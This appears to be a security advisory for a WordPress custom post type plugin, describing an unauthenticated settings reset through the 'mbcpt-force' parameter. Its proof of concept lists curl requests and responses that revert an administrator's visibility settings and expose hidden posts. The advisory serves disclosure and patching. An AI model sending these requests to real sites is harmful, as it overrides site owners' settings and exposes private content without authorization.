MB Custom Post Types & Custom Taxonomies 2.0.2 – 2.12.2 – Unauthenticated Settings Reset via 'mbcpt-force' Parameter | CVE 2026-110010

Description

The plugin does not perform any capability or authentication check before allowing an unauthenticated request to re-run a legacy data migration, letting anyone revert a custom post type or taxonomy definition on sites upgraded from a pre-2.0 release back to its pre-upgrade state. This discards configuration changes an administrator made after upgrading and, where those changes had restricted a definition's visibility, silently re-exposes the definition and its content to anonymous visitors.

Proof of Concept

Prerequisites: a site that previously ran version 1.9.x or earlier with at least one custom post type (or taxonomy) created in that version, then upgraded to a release between 2.0.2 and 2.12.2 (the pre-2.0 definition metadata is never removed on upgrade). After upgrading, an administrator changed that definition's settings in the editor, and for the confidentiality impact tightened its visibility (turned off "Public" or "Show in REST API") and saved.

1. Historical state: on the pre-2.0 version an administrator created a custom post type (for example slug "secretcpt") with "Show in REST API" enabled and published posts in it; the site was later upgraded.
2. After the upgrade the administrator disabled "Public" and "Show in REST API" on that post type and saved. Confirm it is no longer reachable anonymously:
   curl "https://victim.example/?rest_route=/wp/v2/types/secretcpt"
   returns HTTP 401 rest_cannot_read_type
3. As an unauthenticated visitor with no cookies, send:
   curl "https://victim.example/?mbcpt-force=1"
   returns HTTP 200
4. The definition's settings have silently reverted to their pre-upgrade values, discarding the administrator's change. The post type is public and REST-enabled again, and its posts are listable by anyone:
   curl "https://victim.example/?rest_route=/wp/v2/types/secretcpt"   returns HTTP 200 with the full type registration
   curl "https://victim.example/?rest_route=/wp/v2/secretcpt"   returns HTTP 200 listing the post type's posts (ids, slugs, permalinks, dates)

Negative control: the same request makes no change to any post type or taxonomy created entirely under the installed version (no legacy metadata), confirming the revert is gated on the presence of pre-2.0 metadata rather than being a global reset.